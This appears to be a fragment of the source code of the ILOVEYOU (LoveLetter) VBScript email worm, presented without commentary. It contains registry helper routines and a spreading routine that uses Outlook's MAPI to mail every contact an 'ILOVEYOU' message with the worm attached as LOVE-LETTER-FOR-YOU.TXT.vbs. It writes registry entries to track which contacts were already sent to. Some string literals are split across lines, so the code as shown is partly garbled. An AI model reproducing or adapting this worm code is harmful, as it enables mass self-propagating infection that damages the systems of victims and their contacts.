sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
  end sub
  function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
  end function
  function fileexist(filespec)
  On Error Resume Next
  dim msg
  if (fso.FileExists(filespec)) Then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")
  for ctrlists=1 to mapi.AddressLists.Count
  set a=mapi.AddressLists(ctrlists)
  x=1
  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\
  WAB\"&a)
  if (regv="") then
  regv=1
  end if
  if (int(a.AddressEntries.Count)>int(regv)) then
  for ctrentries=1 to a.AddressEntries.Count
  malead=a.AddressEntries(x)
  regad=""
  regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft
  \WAB\"&malead)
  if (regad="") then
  set male=out.CreateItem(0)
  male.Recipients.Add(malead)
  male.Subject = "ILOVEYOU"
  male.Body = vbcrlf&"kindly check the attached LOVELETTER
  coming from me."
  male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-
  YOU.TXT.vbs")
  male.Send
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"RE
  G_DWORD"
  end if
  x=x+1
  next
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn
  tries.Count
  else
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn
  tries.Count
  end if
  next
  Set out=Nothing
  Set mapi=Nothing
  end sub